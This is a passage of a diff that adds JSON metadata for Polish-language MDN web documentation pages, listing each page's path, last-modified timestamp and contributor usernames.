+ "modified": "2020-07-16T22:36:10.011Z",
+ "contributors": [
+ "edrjen"
+ ]
+ },
+ "Narzędzia/Tools_Toolbox": {
+ "modified": "2020-07-16T22:35:27.779Z",
+ "contributors": [
+ "vviruzz"
+ ]
+ },
+ "Narzędzia/View_source": {
+ "modified": "2020-07-16T22:35:03.124Z",
+ "contributors": [
+ "kryspinkras"
+ ]
+ },
+ "Narzędzia/Walidatory": {
+ "modified": "2020-07-16T22:35:03.596Z",
+ "contributors": [
+ "vviruzz",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82",
+ "Witia",
+ "Chlopczyk"
+ ]
+ },
+ "Narzędzia/about:debugging": {
+ "modified": "2020-07-16T22:36:32.890Z",
+ "contributors": [
+ "programistka",
+ "Jacob99",
+ "BajlandoKG"
+ ]
+ },
+ "Narzędzia_clone": {
+ "modified": "2019-01-16T20:19:23.793Z",
+ "contributors": [
+ "voodoo81-81"
+ ]
+ },
+ "Nieprawidłowy_typ_MIME_plików_CSS": {
+ "modified": "2019-01-16T14:38:41.628Z",
+ "contributors": [
+ "fscholz",
+ "Mgjbot",
+ "Ptak82",
+ "Takenbot",
+ "gandalf",
+ "Jan Dudek"
+ ]
+ },
+ "O_modelu_obiektowym_dokumentu": {
+ "modified": "2019-01-16T14:38:39.407Z",
+ "contributors": [
+ "fscholz",
+ "Mgjbot",
+ "Ptak82",
+ "Takenbot",
+ "Jan Dudek"
+ ]
+ },
+ "Podaj_Dłoń_'kursorowi'": {
+ "modified": "2019-03-23T23:41:07.782Z",
+ "contributors": [
+ "teoli",
+ "Ptak82",
+ "Mwd",
+ "gandalf",
+ "Dria"
+ ]
+ },
+ "Poprawki_DOM_w_Firefoksie_3": {
+ "modified": "2019-03-23T23:50:53.479Z",
+ "contributors": [
+ "wbamberg",
+ "Flaneur"
+ ]
+ },
+ "Poprawki_SVG_w_Firefoksie_3": {
+ "modified": "2019-03-23T23:50:56.299Z",
+ "contributors": [
+ "wbamberg",
+ "Flaneur"
+ ]
+ },
+ "Poprawki_XUL_w_Firefoksie_3": {
+ "modified": "2019-03-24T00:02:36.017Z",
+ "contributors": [
+ "wbamberg",
+ "SphinxKnight",
+ "teoli",
+ "splewako",
+ "fscholz",
+ "Ptak82",
+ "Bedi",
+ "Bobqu"
+ ]
+ },
+ "Porady_odnośnie_tworzenia_szybko_ładujących_się_stron_HTML": {
+ "modified": "2019-03-23T23:51:58.812Z",
+ "contributors": [
+ "Mgjbot",
+ "Janbil",
+ "Ptak82",
+ "Witia",
+ "Nerf",
+ "gandalf",
+ "Jan Dudek",
+ "StevenGarrity",
+ "Anonymous",
+ "Dria"
+ ]
+ },
+ "Programowanie_Mozilli": {
+ "modified": "2019-03-23T23:58:48.549Z",
+ "contributors": [
+ "gandalf",
+ "Mgjbot",
+ "Bedi",
+ "Verruckt",
+ "Ptak82",
+ "Dria"
+ ]
+ },
+ "Programowanie_WWW": {
+ "modified": "2019-03-23T23:43:53.027Z",
+ "contributors": [
+ "Mgjbot",
+ "Ptak82",
+ "gandalf",
+ "Anonymous",
+ "StevenGarrity",
+ "Dria"
+ ]
+ },
+ "Przygotowanie_środowiska_programowania_rozszerzenia": {
+ "modified": "2019-03-23T23:54:18.210Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Flaneur"
+ ]
+ },
+ "Rysowanie_tekstu_przy_użyciu_canvas": {
+ "modified": "2019-03-23T23:53:27.996Z",
+ "contributors": [
+ "gandalf"
+ ]
+ },
+ "Tutorial_lokalizacji_rozszerzeń_do_Firefoksa_i_Thunderbirda_dla_wersji_1.0_i_wyższych": {
+ "modified": "2019-01-16T15:58:24.402Z",
+ "contributors": [
+ "Teo",
+ "Coldpeer",
+ "Ptak82"
+ ]
+ },
+ "Tworzenie_wtyczek_OpenSearch_dla_Firefoksa": {
+ "modified": "2019-03-23T23:54:28.132Z",
+ "contributors": [
+ "tregagnon",
+ "Mgjbot",
+ "Rodrigoknascimento",
+ "Ptak82",
+ "Citora",
+ "Marcoos"
+ ]
+ },
+ "Tworzymy_rozszerzenie": {
+ "modified": "2019-03-23T23:59:43.298Z",
+ "contributors": [
+ "fscholz",
+ "teoli",
+ "tregagnon",
+ "RLR",
+ "Adrianer",
+ "Bedi",
+ "Yozh88",
+ "Mgjbot",
+ "Sopel1000",
+ "Diablownik",
+ "Marcoos",
+ "Adriator",
+ "Ptak82",
+ "Verruckt",
+ "Kyllan",
+ "Kabar",
+ "Kjj2",
+ "gandalf",
+ "Indigo",
+ "Takenbot",
+ "Pbm",
+ "Emil"
+ ]
+ },
+ "Web": {
+ "modified": "2019-03-23T23:30:00.154Z",
+ "contributors": [
+ "mat-bi",
+ "wopolow",
+ "wowka123",
+ "marcind27",
+ "teoli",
+ "Rokuzo",
+ "JuMuS",
+ "manikus",
+ "splewako",
+ "Sheppy"
+ ]
+ },
+ "Web/API": {
+ "modified": "2020-10-18T13:01:11.570Z",
+ "contributors": [
+ "Karklik",
+ "juhtajuhta",
+ "iwona1111",
+ "teoli",
+ "Rokuzo",
+ "splewako",
+ "ethertank",
+ "Sheppy"
+ ]
+ },
+ "Web/API/Attr": {
+ "modified": "2020-10-15T22:24:31.515Z",
+ "contributors": [
+ "ja-pl"
+ ]
+ },
+ "Web/API/AudioBuffer": {
+ "modified": "2019-03-23T22:27:58.311Z",
+ "contributors": [
+ "drm404",
+ "mateuszdanek"
+ ]
+ },
+ "Web/API/AudioContext": {
+ "modified": "2019-03-23T22:13:45.962Z",
+ "contributors": [
+ "drm404"
+ ]
+ },
+ "Web/API/AudioContext/createDynamicsCompressor": {
+ "modified": "2019-03-23T22:13:26.872Z",
+ "contributors": [
+ "drm404"
+ ]
+ },
+ "Web/API/AudioParam": {
+ "modified": "2019-03-23T22:13:33.465Z",
+ "contributors": [
+ "jpmedley"
+ ]
+ },
+ "Web/API/AudioParam/setValueAtTime": {
+ "modified": "2019-03-23T22:13:25.222Z",
+ "contributors": [
+ "drm404"
+ ]
+ },
+ "Web/API/CSSNumericValue": {
+ "modified": "2020-10-15T22:28:41.872Z",
+ "contributors": [
+ "estelle"
+ ]
+ },
+ "Web/API/CSSNumericValue/div": {
+ "modified": "2020-10-15T22:28:40.331Z",
+ "contributors": [
+ "marcinkuran30"
+ ]
+ },
+ "Web/API/CSSRule": {
+ "modified": "2019-03-23T23:45:23.663Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Bedi",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/API/Cache": {
+ "modified": "2019-03-23T23:01:45.486Z",
+ "contributors": [
+ "P0lip"
+ ]
+ },
+ "Web/API/Canvas_API/Tutorial": {
+ "modified": "2019-03-23T22:35:51.922Z",
+ "contributors": [
+ "bk20",
+ "dustinpaluch"
+ ]
+ },
+ "Web/API/Canvas_API/Tutorial/Basic_usage": {
+ "modified": "2020-04-25T12:12:44.835Z",
+ "contributors": [
+ "pewuel",
+ "mterczynski",
+ "km4",
+ "sebastianbando"
+ ]
+ },
+ "Web/API/Canvas_API/Tutorial/Optymalizacja_canvas": {
+ "modified": "2019-03-18T21:12:08.144Z",
+ "contributors": [
+ "Ovkorz"
+ ]
+ },
+ "Web/API/Canvas_API/Tutorial/rysowanie_ksztaltow": {
+ "modified": "2019-03-23T22:35:47.920Z",
+ "contributors": [
+ "km4",
+ "Kratak",
+ "sebastianbando",
+ "Miras"
+ ]
+ },
+ "Web/API/ChildNode": {
+ "modified": "2020-01-17T16:06:19.710Z",
+ "contributors": [
+ "pefbrute",
+ "arronei"
+ ]
+ },
+ "Web/API/ChildNode/remove": {
+ "modified": "2020-10-15T21:53:18.455Z",
+ "contributors": [
+ "SphinxKnight",
+ "Fidosek",
+ "griter",
+ "krystian71115"
+ ]
+ },
+ "Web/API/Console": {
+ "modified": "2019-03-23T23:09:41.834Z",
+ "contributors": [
+ "pat36",
+ "Scarface91"
+ ]
+ },
+ "Web/API/Console/log": {
+ "modified": "2020-10-15T21:39:57.222Z",
+ "contributors": [
+ "trusohamn",
+ "AgnieszkaPanek"
+ ]
+ },
+ "Web/API/Document": {
+ "modified": "2019-04-08T07:32:25.930Z",
+ "contributors": [
+ "Bartosz_Adamski",
+ "teoli",
+ "khalid32",
+ "Crash",
+ "Mgjbot",
+ "Bedi",
+ "Ptak82",
+ "gandalf",
+ "Jan Dudek",
+ "Takenbot"
+ ]
+ },
+ "Web/API/Document/URL": {
+ "modified": "2019-03-23T23:46:53.749Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "DR",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/activeElement": {
+ "modified": "2019-03-23T23:53:13.275Z",
+ "contributors": [
+ "teoli",
+ "AshfaqHossain",
+ "Mgjbot",
+ "Flaneur"
+ ]
+ },
+ "Web/API/Document/alinkColor": {
+ "modified": "2019-03-23T23:46:52.586Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "DR",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/anchors": {
+ "modified": "2020-04-27T14:17:36.934Z",
+ "contributors": [
+ "jkosiaty",
+ "teoli",
+ "khalid32",
+ "Ptak82",
+ "DR",
+ "Mgjbot",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/applets": {
+ "modified": "2019-03-23T23:46:50.771Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/bgColor": {
+ "modified": "2019-03-23T23:46:49.050Z",
+ "contributors": [
+ "teoli",
+ "AshfaqHossain",
+ "Internauta1024A",
+ "Ptak82",
+ "DR",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/body": {
+ "modified": "2019-09-23T05:30:09.078Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Ptak82",
+ "DR",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/characterSet": {
+ "modified": "2019-03-23T23:46:53.146Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Ptak82",
+ "DR",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/clear": {
+ "modified": "2019-03-23T23:40:54.577Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/close": {
+ "modified": "2019-03-23T23:40:56.546Z",
+ "contributors": [
+ "teoli",
+ "arunpandianp",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/compatMode": {
+ "modified": "2019-03-23T23:40:06.844Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/cookie": {
+ "modified": "2019-03-23T23:46:52.193Z",
+ "contributors": [
+ "kanapka94",
+ "teoli",
+ "AshfaqHossain",
+ "DR",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/createAttribute": {
+ "modified": "2019-03-23T23:41:42.200Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Jan Dudek",
+ "Ptak82",
+ "Takenbot",
+ "Filemon"
+ ]
+ },
+ "Web/API/Document/createDocumentFragment": {
+ "modified": "2019-03-23T23:42:17.514Z",
+ "contributors": [
+ "elszczepano",
+ "teoli",
+ "khalid32",
+ "Diablownik",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/createElement": {
+ "modified": "2019-11-19T12:43:51.177Z",
+ "contributors": [
+ "svantetic",
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Ptak82",
+ "Takenbot",
+ "Sp",
+ "Anonymous",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/createEvent": {
+ "modified": "2019-03-23T23:53:29.430Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "safjanowski",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/createRange": {
+ "modified": "2019-03-23T23:53:58.762Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/API/Document/createTextNode": {
+ "modified": "2019-03-23T23:53:29.008Z",
+ "contributors": [
+ "Miras",
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Ptak82",
+ "Takenbot",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/defaultView": {
+ "modified": "2019-03-23T23:46:22.957Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Bedi",
+ "Internauta1024A"
+ ]
+ },
+ "Web/API/Document/designMode": {
+ "modified": "2020-10-15T22:17:27.531Z",
+ "contributors": [
+ "bartosz-bieniek"
+ ]
+ },
+ "Web/API/Document/doctype": {
+ "modified": "2019-03-23T23:40:08.493Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/documentElement": {
+ "modified": "2019-07-01T06:22:54.142Z",
+ "contributors": [
+ "Cagestrike",
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/domain": {
+ "modified": "2019-03-23T23:40:08.387Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/drag_event": {
+ "modified": "2019-04-30T13:52:16.811Z",
+ "contributors": [
+ "wbamberg",
+ "fscholz",
+ "malecki-se"
+ ]
+ },
+ "Web/API/Document/embeds": {
+ "modified": "2019-03-23T23:47:42.954Z",
+ "contributors": [
+ "teoli",
+ "AshfaqHossain",
+ "Bedi",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/execCommand": {
+ "modified": "2020-08-24T07:38:53.201Z",
+ "contributors": [
+ "Lukortech",
+ "ja-pl"
+ ]
+ },
+ "Web/API/Document/fgColor": {
+ "modified": "2019-03-23T23:40:08.011Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/firstChild": {
+ "modified": "2019-03-23T23:53:15.004Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/forms": {
+ "modified": "2019-03-23T23:43:19.295Z",
+ "contributors": [
+ "teoli",
+ "basemnassar11",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/getElementById": {
+ "modified": "2019-03-23T23:45:59.363Z",
+ "contributors": [
+ "xmentor",
+ "teoli",
+ "khalid32",
+ "Ptak82",
+ "Mgjbot",
+ "Takenbot",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/getElementsByClassName": {
+ "modified": "2019-03-18T21:37:45.960Z",
+ "contributors": [
+ "wioladys"
+ ]
+ },
+ "Web/API/Document/getElementsByName": {
+ "modified": "2019-03-23T23:43:51.751Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/getElementsByTagName": {
+ "modified": "2019-03-23T23:50:35.608Z",
+ "contributors": [
+ "SphinxKnight",
+ "teoli",
+ "mimzi_fahia",
+ "Mgjbot",
+ "Diablownik",
+ "Internauta1024A",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Document/hasFocus": {
+ "modified": "2019-03-23T23:53:17.459Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Flaneur"
+ ]
+ },
+ "Web/API/Document/head": {
+ "modified": "2019-03-23T22:40:15.808Z",
+ "contributors": [
+ "maciejmarczak"
+ ]
+ },
+ "Web/API/Document/height": {
+ "modified": "2019-03-23T23:42:16.598Z",
+ "contributors": [
+ "teoli",
+ "mimzi_fahia",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/images": {
+ "modified": "2019-03-24T00:04:17.670Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "RAP1D",
+ "Ptak82",
+ "Takenbot",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/implementation": {
+ "modified": "2019-03-23T23:40:09.680Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/importNode": {
+ "modified": "2019-03-23T23:49:15.469Z",
+ "contributors": [
+ "wbamberg",
+ "SphinxKnight",
+ "PawelekS",
+ "teoli",
+ "khalid32",
+ "Sheppy",
+ "Mgjbot",
+ "Internauta1024A",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Document/lastModified": {
+ "modified": "2019-03-23T23:40:08.879Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/linkColor": {
+ "modified": "2019-03-23T23:42:42.094Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/links": {
+ "modified": "2019-03-23T23:51:18.977Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/location": {
+ "modified": "2019-03-23T23:40:07.769Z",
+ "contributors": [
+ "wojtekmaj",
+ "starsep",
+ "teoli",
+ "jsx",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/namespaceURI": {
+ "modified": "2019-03-23T23:44:00.886Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/open": {
+ "modified": "2019-03-23T23:45:36.121Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Takenbot",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/plugins": {
+ "modified": "2019-03-23T23:40:08.263Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/querySelector": {
+ "modified": "2019-09-25T05:40:56.515Z",
+ "contributors": [
+ "kotlarza",
+ "drm404",
+ "wkamel"
+ ]
+ },
+ "Web/API/Document/referrer": {
+ "modified": "2019-03-23T23:40:08.156Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/releaseCapture": {
+ "modified": "2019-03-23T22:51:58.125Z",
+ "contributors": [
+ "wkamel"
+ ]
+ },
+ "Web/API/Document/styleSheets": {
+ "modified": "2019-03-23T23:48:20.614Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Robson",
+ "Mgjbot",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/title": {
+ "modified": "2019-03-23T23:46:33.369Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Diablownik",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/vlinkColor": {
+ "modified": "2019-03-23T23:40:08.777Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/width": {
+ "modified": "2019-03-23T23:42:18.267Z",
+ "contributors": [
+ "teoli",
+ "AshfaqHossain",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/write": {
+ "modified": "2019-03-23T23:45:33.486Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Takenbot",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Document/writeln": {
+ "modified": "2019-03-23T23:45:33.593Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Element": {
+ "modified": "2019-03-23T23:59:45.799Z",
+ "contributors": [
+ "pablovsky",
+ "fscholz",
+ "teoli",
+ "jsx",
+ "zarat",
+ "Spawnm",
+ "Artstk",
+ "Internauta1024A",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek",
+ "Takenbot"
+ ]
+ },
+ "Web/API/Element/addEventListener": {
+ "modified": "2019-03-24T00:08:51.040Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Kuzirashi",
+ "wojtiku",
+ "jarekps",
+ "pim",
+ "dj100",
+ "Mgjbot",
+ "Ptak82",
+ "Jaki",
+ "Internauta1024A",
+ "Bedi"
+ ]
+ },
+ "Web/API/Element/appendChild": {
+ "modified": "2019-03-24T00:09:45.110Z",
+ "contributors": [
+ "Miras",
+ "teoli",
+ "jsx",
+ "eryk.piast",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek",
+ "Takenbot"
+ ]
+ },
+ "Web/API/Element/attributes": {
+ "modified": "2019-03-23T23:59:14.981Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "lukasz.jezierski",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Element/blur": {
+ "modified": "2019-03-23T23:47:16.796Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Element/childNodes": {
+ "modified": "2019-03-23T23:42:38.458Z",
+ "contributors": [
+ "teoli",
+ "mimzi_fahia",
+ "Mgjbot",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Element/classList": {
+ "modified": "2019-03-23T22:13:21.685Z",
+ "contributors": [
+ "sunpietro",
+ "drm404"
+ ]
+ },
+ "Web/API/Element/className": {
+ "modified": "2019-03-24T00:13:14.914Z",
+ "contributors": [
+ "teoli",
+ "arunpandianp",
+ "ethertank",
+ "dextra",
+ "Mgjbot",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Element/click": {
+ "modified": "2019-03-23T23:47:17.142Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Element/clientHeight": {
+ "modified": "2019-03-23T23:43:28.841Z",
+ "contributors": [
+ "teoli",
+ "basemnassar11",
+ "Mgjbot",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Element/clientNode": {
+ "modified": "2019-03-23T23:50:53.176Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Ptak82",
+ "Mgjbot",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Element/clientWidth": {
+ "modified": "2019-03-23T23:46:23.455Z",
+ "contributors": [
+ "teoli",
+ "AshfaqHossain",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Element/dir": {
+ "modified": "2019-03-24T00:13:13.769Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "ethertank",
+ "dextra",
+ "Mgjbot",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Element/dispatchEvent": {
+ "modified": "2019-04-01T06:05:09.437Z",
+ "contributors": [
+ "piotrgredowski",
+ "teoli",
+ "xuancanh",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Element/firstChild": {
+ "modified": "2020-10-29T05:55:32.180Z",
+ "contributors": [
+ "dk333",
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Element/focus": {
+ "modified": "2019-03-23T23:47:17.621Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Element/getAttribute": {
+ "modified": "2019-03-23T23:53:09.147Z",
+ "contributors": [
+ "lotny",
+ "teoli",
+ "jsx",
+ "fx4waldi",
+ "Mgjbot",
+ "Jan Dudek",
+ "Takenbot"
+ ]
+ },
+ "Web/API/Element/getAttributeNS": {
+ "modified": "2019-03-23T23:53:11.173Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Element/getAttributeNode": {
+ "modified": "2019-03-23T23:53:09.037Z",
+ "contributors": [
+ "teoli",
+ "mimzi_fahia",
+ "Mgjbot",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Element/getAttributeNodeNS": {
+ "modified": "2019-03-23T23:54:11.116Z",
+ "contributors": [
+ "SphinxKnight",
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Element/getBoundingClientRect": {
+ "modified": "2020-02-24T10:38:00.432Z",
+ "contributors": [
+ "mstaniuk",
+ "SphinxKnight",
+ "hckr",
+ "JCichon"
+ ]
+ },
+ "Web/API/Element/getElementsByTagNameNS": {
+ "modified": "2019-03-18T21:15:14.964Z",
+ "contributors": [
+ "SphinxKnight",
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Bedi",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Element/hasAttribute": {
+ "modified": "2019-03-23T23:53:12.029Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Element/hasAttributeNS": {
+ "modified": "2019-03-23T23:53:19.883Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Element/hasAttributes": {
+ "modified": "2019-03-23T23:51:23.885Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Element/hasChildNodes": {
+ "modified": "2019-03-23T23:54:18.316Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Element/id": {
+ "modified": "2019-03-23T23:43:21.777Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Element/innerHTML": {
+ "modified": "2019-03-23T23:45:15.352Z",
+ "contributors": [
+ "Kitsune",
+ "teoli",
+ "khalid32",
+ "Ptak82",
+ "Mgjbot",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Element/insertAdjacentHTML": {
+ "modified": "2020-10-15T22:19:49.806Z",
+ "contributors": [
+ "RetupK"
+ ]
+ },
+ "Web/API/Element/insertBefore": {
+ "modified": "2019-03-23T23:53:18.476Z",
+ "contributors": [
+ "Suiseki",
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "Ptak82",
+ "gandalf"
+ ]
+ },
+ "Web/API/Element/lang": {
+ "modified": "2019-03-23T23:46:43.485Z",
+ "contributors": [
+ "teoli",
+ "xuancanh",
+ "Mgjbot",
+ "WadimdD",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Element/lastChild": {
+ "modified": "2019-03-23T23:54:13.899Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Element/length": {
+ "modified": "2019-03-23T23:43:22.970Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Element/localName": {
+ "modified": "2019-03-23T23:46:58.657Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Element/name": {
+ "modified": "2019-03-24T00:13:13.340Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "dextra",
+ "Mgjbot",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Element/namespaceURI": {
+ "modified": "2019-03-23T23:46:57.209Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Element/nextSibling": {
+ "modified": "2019-03-23T23:53:02.853Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Element/nodeName": {
+ "modified": "2019-03-23T23:50:31.981Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Element/nodeType": {
+ "modified": "2019-03-23T23:49:33.390Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "ethertank",
+ "Mgjbot",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Element/nodeValue": {
+ "modified": "2019-03-24T00:13:13.193Z",
+ "contributors": [
+ "teoli",
+ "arunpandianp",
+ "ethertank",
+ "dextra",
+ "Mgjbot",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Element/normalize": {
+ "modified": "2019-03-23T23:47:08.491Z",
+ "contributors": [
+ "teoli",
+ "mimzi_fahia",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Element/offsetHeight": {
+ "modified": "2019-03-23T23:47:13.144Z",
+ "contributors": [
+ "fscholz",
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Internauta1024A",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Element/offsetLeft": {
+ "modified": "2019-03-23T23:49:30.218Z",
+ "contributors": [
+ "SphinxKnight",
+ "teoli",
+ "khalid32",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
